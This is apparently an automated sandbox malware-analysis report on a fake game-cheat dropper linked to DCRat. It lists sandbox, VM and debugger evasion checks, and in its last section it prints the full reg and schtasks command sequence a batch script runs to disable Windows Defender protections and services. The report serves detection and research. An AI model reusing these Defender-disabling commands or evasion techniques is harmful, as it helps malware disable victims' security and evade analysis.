Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX
Source: C:\blockweb\portrefNet.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Check if machine is in data center or colocation facility
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: Lunch LaCheatV2.exe, 00000001.00000002.1767574867.0000000000408000.00000020.00000001.01000000.00000005.sdmp Binary or memory string: Q|SBIEDLL.DLL
Source: Lunch LaCheat.exe, 00000022.00000002.1811959348.0000000000408000.00000020.00000001.01000000.00000007.sdmp Binary or memory string: )SBIEDLL.DLL
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe RDTSC instruction interceptor: First address: 1ACE14C second address: 1ACE156 instructions: 0x00000000 rdtsc 0x00000002 sub cl, FFFFFF93h 0x00000005 not dx 0x00000008 not cl 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe RDTSC instruction interceptor: First address: FCCA9E second address: FCCAA4 instructions: 0x00000000 rdtsc 0x00000002 bswap ebp 0x00000004 pop edi 0x00000005 lahf 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe RDTSC instruction interceptor: First address: FA93AB second address: FA93BE instructions: 0x00000000 rdtsc 0x00000002 sub dx, 35C4h 0x00000007 xor cl, FFFFFFD9h 0x0000000a cmc 0x0000000b sub cl, 00000014h 0x0000000e bswap eax 0x00000010 cwde 0x00000011 not cl 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe RDTSC instruction interceptor: First address: 10396D7 second address: 10396EF instructions: 0x00000000 rdtsc 0x00000002 bsf dx, bx 0x00000006 test esp, 7F476D6Bh 0x0000000c xor cl, FFFFFFA9h 0x0000000f not dh 0x00000011 xor bl, cl 0x00000013 btc eax, FFFFFFACh 0x00000017 push ebp 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe RDTSC instruction interceptor: First address: F79280 second address: 1B3CCA7 instructions: 0x00000000 rdtsc 0x00000002 nop 0x00000003 push 04DA974Eh 0x00000008 call 00007F5F24BCA93Fh 0x0000000d push ebx 0x0000000e not bl 0x00000010 seto bh 0x00000013 push edx 0x00000014 cwd 0x00000016 push eax 0x00000017 push esi 0x00000018 cmovnb si, bp 0x0000001c pushfd 0x0000001d cwde 0x0000001e cmovns esi, ebx 0x00000021 cdq 0x00000022 push ebp 0x00000023 xchg esi, esi 0x00000025 push ecx 0x00000026 dec cl 0x00000028 not eax 0x0000002a push edi 0x0000002b inc bl 0x0000002d mov ecx, 00000000h 0x00000032 cdq 0x00000033 cwde 0x00000034 push ecx 0x00000035 mov dx, bp 0x00000038 lahf 0x00000039 cbw 0x0000003b mov edi, dword ptr [esp+28h] 0x0000003f setns bh 0x00000042 cmovns dx, bp 0x00000046 inc esi 0x00000047 inc edi 0x00000048 ror ebp, FFFFFF84h 0x0000004b xor edi, 352C7E3Bh 0x00000051 or bp, ax 0x00000054 shld ebp, ecx, 000000DBh 0x00000058 neg edi 0x0000005a bt ebx, ebp 0x0000005d btc ax, FFDCh 0x00000062 lea edi, dword ptr [edi+32E32BBDh] 0x00000068 and bh, dl 0x0000006a shld eax, ecx, 0000003Bh 0x0000006e lea edi, dword ptr [edi+ecx] 0x00000071 jmp 00007F5F257E2C1Ah 0x00000076 mov ebp, esp 0x00000078 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe RDTSC instruction interceptor: First address: E98A5F second address: E98A69 instructions: 0x00000000 rdtsc 0x00000002 sub cl, FFFFFF93h 0x00000005 not dx 0x00000008 not cl 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe RDTSC instruction interceptor: First address: E1951C second address: E19522 instructions: 0x00000000 rdtsc 0x00000002 bswap ebp 0x00000004 pop edi 0x00000005 lahf 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe RDTSC instruction interceptor: First address: 16DB1F3 second address: 174113A instructions: 0x00000000 rdtsc 0x00000002 cwd 0x00000004 rol cl, 1 0x00000006 shrd dx, bp, 00000038h 0x0000000b or dx, 3F3Eh 0x00000010 add cl, 0000001Ah 0x00000013 jmp 00007F5F24C57122h 0x00000018 neg cl 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe RDTSC instruction interceptor: First address: 174113A second address: 17B2FE5 instructions: 0x00000000 rdtsc 0x00000002 rol cl, 1 0x00000004 sbb eax, 63AF11CCh 0x00000009 xor bl, cl 0x0000000b seto dl 0x0000000e shrd edx, esp, 0000004Ch 0x00000012 mov eax, dword ptr [esp+ecx] 0x00000015 sub esi, 00000004h 0x0000001b cmc 0x0000001c mov dword ptr [esi], eax 0x0000001e bswap dx 0x00000021 sub ebp, 00000004h 0x00000027 mov edx, 671105E1h 0x0000002c ror dh, cl 0x0000002e and dx, bp 0x00000031 mov edx, dword ptr [ebp+00h] 0x00000035 clc 0x00000036 stc 0x00000037 jmp 00007F5F24C88A4Bh 0x0000003c xor edx, ebx 0x0000003e jmp 00007F5F24CDAF62h 0x00000043 dec edx 0x00000044 not edx 0x00000046 stc 0x00000047 sub edx, 6DFA0E04h 0x0000004d neg edx 0x0000004f test eax, ecx 0x00000051 xor ebx, edx 0x00000053 test edi, eax 0x00000055 test ebx, 24170DC1h 0x0000005b cmp di, 69B9h 0x00000060 add edi, edx 0x00000062 jmp 00007F5F24A6BA81h 0x00000067 lea ecx, dword ptr [esp+60h] 0x0000006b cmc 0x0000006c cmp esi, 19ED38B6h 0x00000072 test si, 388Fh 0x00000077 cmp esi, ecx 0x00000079 ja 00007F5F24D6CE52h 0x0000007f jmp edi 0x00000081 mov ecx, dword ptr [esi] 0x00000083 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe RDTSC instruction interceptor: First address: 17C3D5D second address: 172F936 instructions: 0x00000000 rdtsc 0x00000002 nop 0x00000003 push B8ADBE03h 0x00000008 call 00007F5F24B79827h 0x0000000d push ecx 0x0000000e mov cx, 3A58h 0x00000012 push esi 0x00000013 movsx esi, di 0x00000016 setbe cl 0x00000019 push ebx 0x0000001a push edx 0x0000001b jmp 00007F5F24BD4779h 0x00000020 push eax 0x00000021 cbw 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe RDTSC instruction interceptor: First address: 172F936 second address: 172F94F instructions: 0x00000000 rdtsc 0x00000002 push ebp 0x00000003 push edi 0x00000004 bswap edi 0x00000006 lahf 0x00000007 pushfd 0x00000008 movzx dx, al 0x0000000c cwd 0x0000000e bt esi, edi 0x00000011 mov ecx, 00000000h 0x00000016 rcl bh, FFFFFF9Ah 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe RDTSC instruction interceptor: First address: B55C05 second address: BD240F instructions: 0x00000000 rdtsc 0x00000002 cwd 0x00000004 rol cl, 1 0x00000006 shrd dx, bp, 00000038h 0x0000000b or dx, 3F3Eh 0x00000010 add cl, 0000001Ah 0x00000013 jmp 00007F5F24C6D9E5h 0x00000018 neg cl 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe RDTSC instruction interceptor: First address: 720750 second address: 720769 instructions: 0x00000000 rdtsc 0x00000002 push ebp 0x00000003 push edi 0x00000004 bswap edi 0x00000006 lahf 0x00000007 pushfd 0x00000008 movzx dx, al 0x0000000c cwd 0x0000000e bt esi, edi 0x00000011 mov ecx, 00000000h 0x00000016 rcl bh, FFFFFF9Ah 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe RDTSC instruction interceptor: First address: 7427D9 second address: 7427DC instructions: 0x00000000 rdtsc 0x00000002 pop esi 0x00000003 rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe RDTSC instruction interceptor: First address: 718731 second address: 71873B instructions: 0x00000000 rdtsc 0x00000002 setbe al 0x00000005 pop ebx 0x00000006 movsx dx, dh 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe RDTSC instruction interceptor: First address: 71873B second address: 720750 instructions: 0x00000000 rdtsc 0x00000002 pop ebp 0x00000003 movzx eax, dx 0x00000006 mov edx, 46DB0D08h 0x0000000b cmovnl edi, edx 0x0000000e pop edi 0x0000000f cwde 0x00000010 movzx edx, dx 0x00000013 jmp 00007F5F24C0A6FFh 0x00000018 pop edx 0x00000019 lahf 0x0000001a cbw 0x0000001c movzx ax, al 0x00000020 pop eax 0x00000021 pop ecx 0x00000022 movzx esi, ax 0x00000025 pop esi 0x00000026 jmp 00007F5F248C05A2h 0x0000002b ret 0x0000002c push 383489E9h 0x00000031 call 00007F5F24847432h 0x00000036 push ecx 0x00000037 mov cx, 3A58h 0x0000003b push esi 0x0000003c movsx esi, di 0x0000003f setbe cl 0x00000042 push ebx 0x00000043 push edx 0x00000044 jmp 00007F5F248253E5h 0x00000049 push eax 0x0000004a cbw 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe RDTSC instruction interceptor: First address: 6FCFCD second address: 6FCFD5 instructions: 0x00000000 rdtsc 0x00000002 pop ebx 0x00000003 xchg edi, ecx 0x00000005 pop ebp 0x00000006 xchg eax, edx 0x00000007 pop edi 0x00000008 rdtsc
Tries to evade analysis by execution special instruction (VM detection)
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Special instruction interceptor: First address: F79280 instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Special instruction interceptor: First address: EF62C9 instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Special instruction interceptor: First address: 17C3D5D instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Special instruction interceptor: First address: 18C35B6 instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Memory allocated: 239BBC40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Memory allocated: 239D54C0000 memory reserve | memory write watch Jump to behavior
Source: C:\blockweb\portrefNet.exe Memory allocated: AA0000 memory reserve | memory write watch
Source: C:\blockweb\portrefNet.exe Memory allocated: 1A560000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\blockweb\portrefNet.exe Thread delayed: delay time: 922337203685477
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\SysWOW64\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Window found: window name: WSH-Timer
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\blockweb\portrefNet.exe Window / User API: threadDelayed 1264
Source: C:\blockweb\portrefNet.exe Window / User API: threadDelayed 641
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe TID: 5568 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe TID: 2000 Thread sleep count: 262 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe TID: 2000 Thread sleep count: 236 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe TID: 4520 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe TID: 8156 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\blockweb\portrefNet.exe TID: 7572 Thread sleep count: 1264 > 30
Source: C:\blockweb\portrefNet.exe TID: 7584 Thread sleep count: 641 > 30
Source: C:\blockweb\portrefNet.exe TID: 7540 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\System32\wbem\WMIC.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\blockweb\portrefNet.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0073A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError, 35_2_0073A5F4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0074B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW, 35_2_0074B8E0
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0074DD72 VirtualQuery,GetSystemInfo, 35_2_0074DD72
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\blockweb\portrefNet.exe Thread delayed: delay time: 922337203685477
Source: C:\blockweb\portrefNet.exe File opened: C:\Users\user
Source: C:\blockweb\portrefNet.exe File opened: C:\Users\user\Documents\desktop.ini
Source: C:\blockweb\portrefNet.exe File opened: C:\Users\user\AppData
Source: C:\blockweb\portrefNet.exe File opened: C:\Users\user\AppData\Local\Temp
Source: C:\blockweb\portrefNet.exe File opened: C:\Users\user\Desktop\desktop.ini
Source: C:\blockweb\portrefNet.exe File opened: C:\Users\user\AppData\Local
Source: Lunch LaCheat.exe, 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1824992539.0000000004F70000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1810385952.0000000001B1E000.00000004.00000020.00020000.00000000.sdmp, 52cheatand52rat.exe, 00000024.00000002.1874351610.00000239BD5A0000.00000004.00000800.00020000.00000000.sdmp, 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp Binary or memory string: vboxtray
Source: 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp Binary or memory string: vboxservice
Source: Lunch LaCheat.exe, 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1824992539.0000000004F70000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1810385952.0000000001B1E000.00000004.00000020.00020000.00000000.sdmp, 52cheatand52rat.exe, 00000024.00000002.1874351610.00000239BD5A0000.00000004.00000800.00020000.00000000.sdmp, 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp Binary or memory string: qemu-ga
Source: 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp Binary or memory string: vmwareuser
Source: Lunch LaCheat.exe, 00000022.00000002.1823074775.0000000001B56000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1824992539.0000000004F70000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1810385952.0000000001B1E000.00000004.00000020.00020000.00000000.sdmp, 52cheatand52rat.exe, 00000024.00000002.1874351610.00000239BD5A0000.00000004.00000800.00020000.00000000.sdmp, 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp Binary or memory string: vmusrvc
Source: 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp Binary or memory string: vmwareservice+discordtokenprotector
Source: wscript.exe, 00000025.00000003.1899504654.0000000000B0B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp Binary or memory string: vmsrvc
Source: 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp Binary or memory string: vmtoolsd
Source: 52cheatand52rat.exe, 00000024.00000000.1810071008.00000239BB8D2000.00000002.00000001.01000000.0000000C.sdmp Binary or memory string: vmwaretray
Source: wscript.exe, 00000025.00000003.1899504654.0000000000B0B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}V
Source: 52cheatand52rat.exe, 00000024.00000002.1874351610.00000239BD5A0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmwareservice
Source: 52cheatand52rat.exe, 00000024.00000002.1872950958.00000239BBA11000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Thread information set: HideFromDebugger Jump to behavior
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe System information queried: KernelDebuggerInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Process queried: DebugObjectHandle Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Process queried: DebugObjectHandle Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0075866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 35_2_0075866F
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0075753D mov eax, dword ptr fs:[00000030h] 35_2_0075753D
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0075B710 GetProcessHeap, 35_2_0075B710
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process token adjusted: Debug Jump to behavior
Source: C:\blockweb\portrefNet.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0074F063 SetUnhandledExceptionFilter, 35_2_0074F063
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0074F22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 35_2_0074F22B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0075866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 35_2_0075866F
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0074EF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 35_2_0074EF05
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Disables Windows Defender (deletes autostart)
Source: C:\Windows\SysWOW64\reg.exe Registry value deleted: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Process created: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe "C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe" Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\windows defender.bat" " Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Process created: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe "C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f Jump to behavior
